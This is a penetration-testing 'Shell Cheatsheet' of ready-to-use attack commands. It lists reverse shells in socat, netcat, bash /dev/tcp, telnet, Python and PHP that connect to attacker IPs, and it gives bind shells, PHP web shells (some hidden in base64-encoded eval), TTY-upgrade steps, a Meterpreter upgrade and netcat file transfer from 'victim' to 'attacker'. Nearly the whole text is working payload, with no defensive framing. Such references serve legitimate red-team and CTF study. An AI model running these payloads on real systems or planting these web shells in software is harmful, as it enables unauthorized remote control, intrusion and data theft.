Shell Cheatsheet
Reverse Shell
Socat
Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Shell
nc -e /bin/sh 10.0.0.1 1234
When -c
works:
nc -c '/bin/bash -c "script /dev/null"' 127.0.0.1 1337
With /dev/tcp
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Using FIFO (Doesn't work with upgrading?)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Using telnet
(When no nc
and no /dev/tcp
available). Listen with nc -n -vv -l -p 2222
rm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0</tmp/yolopipe| /bin/bash 1>/tmp/yolopipe
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.170",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bind Shell
Socat
Listener:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
Victim:
socat FILE:`tty`,raw,echo=0 TCP:10.10.10.10:1337
Bash
port=4444; if [$# -eq 1]; then port=$1; fi; while true; do nc -lp $port -e /bin/bash;wait; done
Telnet
Lazy Bind Shell using telnet
:
Listen with nc -n -vv -l -p 2222
and don't forget the &
at the end
while true; do sleep 5; rm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0</tmp/yolopipe| /bin/bash 1>/tmp/yolopipe; done &
Python
Connect via nc
:
import socket as a; s = a.socket();s.bind(('0.0.0.0',1337));s.listen(1);(r,z) = s.accept();exec(r.recv(999))
After connecting upgrade via:
import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/sh");s.close()
PHP
Simple Test
<?php echo shell_exec("sleep 20") ; ?>
Minimal system shell
<?=`$_GET[1]`?>
<pre> <?=`$_GET[1]`?>
Reverse shell using a socket (cmd version)
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Reverse shell using a socket (file version)
<?php $sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
Web Shell
PHP
Minimal webshell (?cmd=ls
)
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code:
<?php
eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
?>
Base64 encoded cmd webshell
<?php eval(base64_decode("aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllO30=")); ?>
Execute system command
<?php system(cmd);?>
<?php system("nc -e /bin/sh 10.0.0.1 1234");?>
Listener
Shell
General Listener
Basic Listener, useful with upgrading
nc -vvlp 1337
stty -echo raw; nc -lp 1337; stty sane
Listen on a specific IP
nc -l -p 4444 -s 127.0.0.1
Upgrading
Socat
Check section above (Reverse Shell.Socat
) using a static binary.
Shell
Use bash, not zsh
In reverse shell: Execute bash (for example using the Python method below)
In reverse shell:
export TERM=xterm-256color
Switch to background with CTRL+Z
Configure local shell:
stty raw -echo
Execute
fg
In reverse shell:
reset
Python
Once connected, use Python to spawn a bash process:
python -c 'import pty; pty.spawn("/bin/bash")'
Put this process into the background:
<Ctrl-Z>
In your local shell, change the terminal settings and bring the background process to the foreground:
stty raw -echo; fg
Finally, once the job is back in the foreground, you can set up the shell environment to be more user-friendly:
export TERM=xterm
MSF
use post/multi/manage/shell_to_meterpreter
Fix Width
On attacker host:
stty -a
In (socat
) shell:
stty rows 57 cols 211
Transferring files (e.g. socat or tsh)
Attacker = Listener
Sender:
nc -vvlp 1337 < file
Receiver:
nc <IP> <PORT> > /tmp/yolofile
Victim = Listener
Receiver:
nc -l -p 1234 > out.file
Sender:
nc -w 3 <IP> 1234 < out.file
Aliases
alias "l"="ls -la" && \
alias ".."="cd .."
Resources
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